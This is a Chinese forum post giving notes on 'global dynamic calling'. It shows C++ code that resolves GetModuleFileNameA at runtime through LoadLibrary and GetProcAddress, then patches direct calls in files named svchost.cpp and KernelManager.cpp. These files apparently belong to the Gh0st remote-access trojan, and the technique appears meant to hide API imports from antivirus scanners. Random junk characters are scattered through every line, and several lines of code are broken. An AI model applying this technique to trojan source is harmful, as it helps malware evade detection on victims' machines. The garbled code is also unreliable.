返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
' h' g8 ]% u. q+ r7 rsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h4 ?$ @- W" M; g8 ]" C: _, x
----------------------------------------
7 ]# R( a4 M' H9 i4 ~3 K( W8 jDTDY.h:2 H4 `. V8 t, v* `3 K2 Q
) o) A/ R4 `" D" x  O
#if _MSC_VER>1000
+ u- v3 q4 ]7 N0 T0 ]#pragma once& _, d" Z# @/ S5 b  [! X, J$ a
#endif //_MSC_VER>1000
! j  A7 P& v1 K7 v/ ?# v#include<windows.h>* I/ j& k' a: j3 u/ G) R. x' F# o

- p0 Y0 B" S0 P, \typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# o% U" l. j+ a' h7 p8 ]9 q  f9 S
class DTDY
9 R  _- c5 K' m1 U9 r* W( o{2 w" W$ [1 k0 r8 q: r
public:
3 C$ x0 D: f4 G- y! B* H" [7 ODTDY();
) A6 x+ v  i7 s8 l- f0 {2 |" Nvirtual ~DTDY();
& k* t  p8 |* z4 d; s5 D% Apublic:' f# Z. L0 n4 n/ A& I. v
static pGetModuleFileNameA MyGetModuleFileName;9 Y0 z. ]* S1 D6 y3 e
static BOOL FunInitiallization();" c' Q" Q: S7 w/ O* x7 Q
};2 c1 X: ~  L. `2 m" G% J5 [  Y
#endif" v8 K$ X. U: B5 T
----------------------------------------
9 X: B* c, Q+ c  h& W0 R( w
5 p5 a* r; C' R8 [; }! O  wDTDY.cpp:2 ?1 Z7 o4 ^2 h+ E$ f6 K
5 u* O1 _4 O7 j# D
#include "DTDY.h"
6 b- s5 C% D. U& IpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;: _+ z+ `' g" J# D7 x
DTDY:TDY()
) u( c0 l& b6 M& k+ i6 W5 G{# Y: c. S( B% `9 g' ^. J& e% y
}$ J% B" h0 _6 R' D5 b8 C
DTDY::~DTDY()0 b( i2 Q- k! [4 n: `, Y1 {  e
{
% D5 ^( ^: I( k5 a}+ W, L  X# o$ M* ^4 \3 j
BOOL DTDY::FunInitiallization()
0 L& X( G: Q! f! o5 s  t{
$ N- K) A/ F' Q% W, aHMODULE hModule=LoadLibrary("kernel32.dll");- Y: A/ M4 f# ]  ?- W3 a: U( S
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 K( m0 O5 C9 g1 h7 ?# Jif(!MyGetModuleFileName=) return FALSE;' Q  l/ _3 z2 I0 J

9 Z; n3 j, U$ H9 jreturn TRUE;
" O. w$ f1 G+ Y; q5 c0 p  _}
) v% O4 s% I4 h, r8 j----------------------------------------% @6 h( x8 z" i- j
svchost.cpp:
3 x/ a2 E9 Q4 ?" `5 }
+ h- j& t' a5 v" x# Y4 x#include "DTDY.h"
$ n8 Q% h+ [( o9 h$ G( F, ?* K* u3 q& O7 T, d* R% Q# ~
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)1 n. d6 E" U' x# E1 _3 E: G
{1 X- q3 U7 z7 Z/ x3 D5 Y$ Y3 u0 q
switch(ul_reason_for_call)
# U' H  B" c' k6 n{
% q9 W. ^7 L& x: j  Q5 Vcase DLL_PROCESS_ATTACH:+ [* T( K# q5 W9 c6 ^
if(!DTDY::FunInitiallization()) return FALSE;
% B: d0 [; C$ i% n7 l. d7 Q/ c1 a0 a3 ^
break;, I, J" k6 j3 \$ `( l! i8 i6 i+ V
}! Y8 T  h$ T8 N
}
- g" @" u4 s* ^- {$ g
5 G% R2 M5 h1 _& I, |  K; M6 Q) t. V. V8 J" ]2 J* Q0 G
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def# I9 n1 Z" I; C; s! \) {( R% S& n
改写为6 R( b1 D5 w: d& @+ o# K5 M
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));2 A4 w: Q: {8 s" h" j8 m. E. H) P
----------------------------------------
7 D1 H  z; ?4 N- J: XKernelManager.cpp:, m3 R3 w8 A0 N0 y4 k
! {; T* B' `! j- D; n5 V* e
#include "../DTDY.h"
; S& K7 y( g( j( d7 N0 g+ E8 |GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));6 Z; o" S2 {6 }! w+ D
改写为5 R6 h- d: C5 j8 n5 H* n- d6 p% s" }
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));/ E( a" B6 {0 j& y& V: T  r; a
----------------------------------------

返回列表